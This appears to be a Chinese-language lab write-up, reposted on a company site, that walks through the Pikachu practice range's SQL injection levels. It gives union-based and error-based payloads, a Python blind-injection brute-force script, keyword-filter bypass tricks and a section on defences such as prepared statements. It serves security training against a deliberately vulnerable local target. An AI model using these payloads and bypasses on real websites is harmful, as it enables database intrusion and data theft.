尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
Pikachu靶场SQL注入实战:从基础到高级绕过技巧
1. Pikachu靶场SQL注入实战与解题笔记第一次接触Pikachu靶场是在去年的一次内部安全培训中这个以宝可梦命名的漏洞演练平台让我印象深刻。作为Web安全入门必备的实战环境Pikachu靶场通过精心设计的漏洞场景帮助学习者理解SQL注入的攻击原理和防御方法。今天我就结合自己通关SQL注入关卡的完整过程分享从基础注入到高级绕过的手记特别适合刚接触Web安全的新手参考。SQL注入SQL-Inject作为OWASP Top 10的常驻漏洞本质是将恶意SQL代码插入到输入参数中欺骗后端数据库执行非预期命令。在Pikachu靶场中开发者模拟了不同类型的注入场景包括GET/POST型注入、报错注入、布尔盲注和时间盲注等。通过这个靶场不仅能学习攻击手法更重要的是理解漏洞产生的根本原因为后续代码审计和漏洞修复打下基础。2. 环境准备与靶场搭建2.1 Pikachu靶场部署要点Pikachu靶场基于PHPMySQL架构推荐使用XAMPP或Docker快速部署。我选择在本地Windows环境通过XAMPP搭建从Pikachu官网下载最新release包当前版本v2.0解压到XAMPP的htdocs目录下访问http://localhost/pikachu-master完成初始化安装注意MySQL需要配置为5.5以上版本PHP建议7.x避免因版本兼容导致功能异常。安装后务必修改config.inc.php中的数据库连接信息。2.2 靶场目录结构解析了解靶场目录结构有助于后续漏洞分析/pikachu ├── /inc # 公共函数库 ├── /pkxss # XSS漏洞模块 ├── /pikachu # SQL注入模块核心 │ ├── /sqli # 注入关卡目录 │ │ ├── /1 # 基础注入 │ │ ├── /2 # 报错注入 │ │ └── ... # 其他类型 ├── /install # 安装脚本 └── /README.md # 说明文档3. SQL注入基础通关详解3.1 数字型注入关卡1访问/pikachu/sqli/1/这是一个简单的用户查询页面。通过URL参数id传递查询条件SELECT * FROM users WHERE id $_GET[id]攻击步骤测试基础注入1 and 11页面正常返回确认注入点1 and 12页面无数据获取字段数1 order by 4--测试到order by 3时报错说明共3列联合查询获取数据-1 union select 1,database(),user()--关键技巧使用--替代注释符兼容URL编码联合查询时前段条件置为负值或不存在值如-1information_schema库是MySQL的元数据库存储所有表结构信息3.2 字符型注入关卡2与数字型不同字符型注入需要处理引号闭合SELECT * FROM users WHERE username $_GET[name]Payload构造admin and 11-- # 测试注入 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--注意字符型注入必须闭合前端的引号否则会导致SQL语法错误。遇到过滤时可尝试编码绕过。4. 高级注入技巧实战4.1 报错注入利用当页面不返回查询数据但显示错误信息时可利用报错注入1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--Pikachu靶场中提供了floor报错、updatexml报错等多种场景。关键是要理解updatexml第二个参数需要符合XPath语法concat函数结合0x7e(~)产生非法字符触发报错extractvalue函数同样可利用4.2 布尔盲注自动化当页面只有存在/不存在两种状态时需要逐字符判断import requests url http://localhost/pikachu/sqli/3/ result for i in range(1,20): for j in range(32,127): payload f1 and ascii(substr(database(),{i},1)){j}-- r requests.get(url, params{id:payload}) if admin in r.text: result chr(j) print(result) break优化技巧使用二分查找法减少请求次数结合正则匹配提高判断准确率多线程加速爆破过程5. 防御方案与代码审计5.1 常见防御措施对比防御方式原理优缺点预处理语句SQL与参数分离最有效需改造代码输入过滤黑名单/白名单易被绕过WAF防护规则匹配拦截存在误判最小权限限制数据库账号权限需合理配置5.2 Pikachu靶场源码分析查看/pikachu/inc/function.php中的过滤函数function check_sql($str){ $filter [select,union,load_file,outfile]; foreach($filter as $v){ if(stripos($str,$v) ! false){ die(Hacker!); } } return $str; }这种过滤存在明显缺陷未处理大小写变种可用SeLeCt绕过未过滤注释符如-- /*可使用编码绕过如hex、char6. 实战中的疑难问题6.1 过滤绕过技巧记录等价替换and→or→||注释变形--→#→/*xxx*/函数替代substr→mid→left/right编码混淆0x61646d696eadmin的hex6.2 MySQL特性利用利用/**/替代空格绕过union/**/select反引号处理关键字select→se%0alect字符串拼接concat(ad,min)利用like进行模糊匹配7. 拓展学习建议完成Pikachu靶场后建议继续挑战DVWADamn Vulnerable Web ApplicationWebGoatOWASP官方靶场SQLi-Labs专注SQL注入对于想深入理解SQL注入原理的同学推荐阅读《SQL注入攻击与防御》和MySQL官方文档中关于预处理语句的章节。在实际渗透测试中sqlmap是自动化检测的神器但手动注入能力仍是安全工程师的基本功。
RELATED

相关推荐

Godot逆向工程实战:从EXE/PCK到完整可编辑项目的5步恢复法

Godot逆向工程实战:从EXE/PCK到完整可编辑项目的5步恢复法

1. 项目概述:为什么我们需要一个“终极”的Godot逆向工具?如果你是一个独立游戏开发者,或者对Godot引擎的运作机制有浓厚兴趣,那么你很可能遇到过这样的场景:在网上发现了一个用Godot制作的、设计精巧的Demo或小游戏&a…

📅 2026/9/11 18:11:37
光伏MPPT技术:布谷鸟算法改进与混合控制策略

光伏MPPT技术:布谷鸟算法改进与混合控制策略

1. 光伏MPPT技术背景与挑战光伏发电系统在实际运行中面临的最大难题就是如何从太阳能电池板中提取最大可用功率。由于光伏电池的输出特性具有明显的非线性特征,其最大功率点(MPP)会随着光照强度、环境温度等外部条件的变化而漂移。这就引出了最大功率点追踪(MPPT)技…

📅 2026/9/17 2:45:02
Unity图像超分辨率实战:从传统插值到AI模型实现马赛克移除

Unity图像超分辨率实战:从传统插值到AI模型实现马赛克移除

1. 项目概述:从“马赛克”到“清晰视界”的Unity实现路径 在游戏开发、影视后期甚至是某些特定的交互应用里,我们偶尔会遇到一个棘手的需求:如何将一张带有马赛克(像素化)效果的图片或实时画面,尽可能地还原…

📅 2026/9/14 9:05:40
MORE NEWS

更多资讯

📰

AI辅助简历制作:从经历提炼到岗位匹配的完整解决方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

树莓派5 USB供电不足排查与优化:从欠压掉盘到电源管理

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

中兴B860AV1.1-T NAND版刷Armbian并写入EMMC全攻略

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

📰

未来30年AI职业替代真相:哪些岗位会被淘汰,普通人的避风港与赚钱赛道!

深耕职场规划与行业趋势调研8年,看过太多人跟风内卷、盲目转行,也见证了无数岗位被技术迭代淘汰。结合麦肯锡、世界经济论坛、哈佛商学院近五年劳动力市场研究报告,再加上我对接过上千位职场人的真实从业反馈,今天用逆向思维把AI替代逻辑讲透:AI从不淘汰“辛苦的工作”,只…

📰

Agent Substrate 仓库 Go 代码风格指南:存在性检查、测试与 TODO 约定全解析

人工智能AI AgentAgent 沙箱云原生容器运行时零信任 【免费下载链接】substrate Agent Substrate: the core system 项目地址: https://gitcode.com/GitHub_Trending/substrate7/substrate 点击查看 免费下载 Agent Substrate(substrate)仓库…

📰

AI伦理、安全与治理:法律风险与合规自查框架指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬